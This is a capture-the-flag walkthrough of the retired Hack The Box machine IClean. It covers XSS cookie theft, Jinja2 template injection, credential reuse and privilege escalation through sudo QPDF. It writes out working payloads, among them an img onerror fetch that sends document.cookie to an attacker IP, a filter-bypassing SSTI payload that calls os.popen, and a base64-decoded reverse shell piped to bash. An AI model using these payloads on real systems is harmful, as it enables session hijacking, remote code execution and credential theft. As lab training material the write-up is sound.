Hack The Box: IClean
What will you learn? Hack The Box: IClean, a medium retired hack the box machine has a very interesting web application penetration testing component showcasing Server Side Template Injection (SSTI) and Cross-Site scripting (XSS) on a Flask application that leads to initial access. On the target, enumerating for hard coded credentials in a web application’s configuration files allows for access to a SQL database running internally. Cracking hashes of user accounts allows for greater access to then leverage a privilege escalation through an overly permissive QPDF binary, allowing SUDO to be ran against it.
Let’s start enumerating the box:
SSH and an HTTP server are running on the target.
More granular scans with default scripts; host is running Ubuntu Linux. Target protocol is HTTP for this exercise.
Going to the website will present some complications. We will need to add the suggested page redirect of capiclean.htb
to the /etc/hosts
file on our attacker machine with the IP address of the target
Landing on the target web page. We should look around the webpage for information (usernames, emails, view the source of the page, other redirects like ‘Login’). The login page will be very priority for us. Next we will look at the Wappalyzer results to see what the backend is probably running, and do some fuzzing.
The web server is running Flask 2.3.7, something important to note.
Start testing default credentials like admin:admin, admin:password, admin:password123, etc. None of these should work but its a good habit to form, and we should also attempt to research ‘Capiclean’ for exploits. Anything that could provide information about a deployment (default credentials) of a CMS or service running on a target.
At this point I was attempting fuzzing for other pages and potential subdomains that may exist on the target
Attempted directory busting (fuzzing) on target with common.txt and big.txt wordlists as well. This should yield the following pages: about, dashboard, login, logout, quote, server-status, services, team
Fuzzing for subdomains (none to find).
The quote page has an interesting send message functionality that allows us to submit an email address. This is also a good opportunity to start sending things like a single quote, or other testing parameters for SQLi to see if any errors return indicating a vulnerability.
We should intercept the request where we send our email address in order to see what kind of submissions it will accept (SQLi, command injection, etc).
We receive a POST request with our parameters we sent. Parameters with service
are good potential vectors for XSS (Cross-Site Scripting) attacks. That is the next focus.
Start a netcat listener in another terminal nc -nvlp 8000
and send your post request to repeater (right click -> send to repeater).
Sending img src="http://10.10.14.3:8000/"></img>
allows us to see if the server will reach back to us, in our netcat reply. If this does not work you will need to URL encode that string using a service like meyer web, burpsuite, etc.
We get a reply from the server. This tells us the application is running on the target localhost on port 3000 and it is vulnerable to cross-site scripting (XSS). Our next test will be to see if we can steal any cookies. Cookies are valuable because they can allow us to impersonate another user context and access pages we otherwise may not be able to (i.e. an administrator panel or other user account).
Start another netcat listener nc -nvlp 8000
and return to repeater to create a different type of test to see if we’re able to retrieve cookies. You will need to URL encode this otherwise the characters will not be accepted.
The %2b
replaces a +
sign. Sending this request <img src=x onerror=fetch("http://10.10.14.3:8000/"%2bdocument.cookie)></img>
will allow us to retrieve the cookie in our netcat listener.
We can see that SESSION is equal to our cookie. We will later be referring to that variable of SESSION when using our cookie value, keep in mind. We can tell that this is a FLASK cookie being the middle parameter where Zrd0iw is very small.
We are able to decode this with base64 to see what we’re working with- a role. Then find a count of the characters.
Searching that string associated to the role reveals we have an administrator cookie
We are able to open the developer tools (inspect element) go to the storage tab, add a cookie by using the plus sign, and set the name to SESSION, value to our administrator cookie, and path to /
(otherwise the cookie will not follow us to other pages on the website (web root). Then test to see if it brings us wherever a logged in user goes.
Going to the dashboard page redirects us here using our cookie. We have some new options to explore. Go to the invoice page, start up burpsuite and be ready to intercept the request from our test below. Using {{7*7}}
is a way to test for SSTI (Server Side Template Injection).
Where QTY is replace the three with {{7*7}}
so we are testing for SSTI in all parameters. Then send the request to see what the response is.
We receive an ID for an invoice we generated. Looking back at the other pages we discovered we should be able to look into this. The Generate QR page is the only one that could cooperate with this function.
Send the QR code and forward the burpsuite request. We will get another reply.
Just send the invoice ID again.
We are returned with our invoice itself. The quantity if you notice in the invoice is 77 so it did not return any kind of math to validate our SSTI testing. We would have expected 49 or 7777777. These two things would have indicated some type of code was ran.
It is also worth starting up a netcat listener on port 8000 again. Then putting in http://10.10.14.3:8000'
where the invoice ID field is in order to see if it reaches back to your server. This will not work, but another good habit to form.
Attempting SSTI where the scannable invoice is.
This actually does return 49 and confirms there is a valid SSTI vulnerability where the QR code is supposed to go, we can only see this by inspecting the elements on the page. We are going to need an SSTI payload which we can acquire from payload all the things:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
We are interested in JINJA2 here. This is because flask runs JINJA2 for its Python backend components.
Most of those are going to fail to execute so in order to bypass filters we are going to use the payload to bypass the most common filters: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Where ID is we are going to add a reverse shell and base64 encode it.
Where ID is in the payload above you are going to replace that text with your base64 encoded generated text. There are more spaces you will notice, in order to remove some +
signs from URL encoding.
You will form the payload like this: echo -n <your payload> | base64 -d | bash
You are piping the output to base64 to decode it and to bash to execute it. Then you bring that payload to your Generate QR code page to execute. Make sure your netcat listener is running on your correct port and IP address.
We obtain a shell on the box as a www-data user.
This is when we read /etc/passwd
, run the id
command to see our groups, sudo -l
to find out how we can elevate privileges, look for SSH keys in home directories, run automated scripts like LINPEAS/LINENUM to look for information, try to read /etc/shadow
, and for any box running a webserver look immediately at their configuration files for hard coded credentials.
In the directory the WWW-DATA user spawns in we have an app.py
configuration file for our FLASK server with hard coded credentials. We need to see where we can re-use these.
Running ss -tplu
shows that we have an internally hosted SQL server. We should try the mentioned credentials above, another hint is the use of the word ‘database’ where the credentials are.
Make sure to upgrade your shell using python3 -c 'import pty; pty.spawn("/bin/bash")
Then we are able to connect to the database in a stable way.
Start enumerating the database and go deep into the database ICLEAN and look into its tables.
We will find two user password hashes in the SQL database. We need to crack these in order to proceed being able to log into the CONSUELA user which also appears in /etc/passwd
. SSH is running on this box, so that is a great place to try these credentials.
Format your hashes this way for cracking.
We can crack these and get credentials for the consuela user account (make sure to remove usernames from the hash when cracking).
You are now on the box as the consuela user. Retrieve your user.txt flag.
Running sudo -l
we can see that this user is able to run QPDF with SUDO privileges. This will be our path to elevation. We should always check GTFOBINs first. There is unfortunately nothing.
We can see the add-attachment
topic, this is likely how we can insert something malicious. We need to learn more about the functionality of this tool.
More context on the usage.
We are going to need to find a PDF file in order to use this and start creating attachments.
After finding a PDF we copied it over, in order to attach /etc/passwd
to the file named out.pdf
. Then we listed the attachments available to us and showed what we created using the process above. We now have the ability to read files on the system. We should look for the root user ID_RSA SSH Key.
Now we have the key for the root user and should be able to log in as them.
We are now able to log into the root user with SSH and obtain the root.txt flag.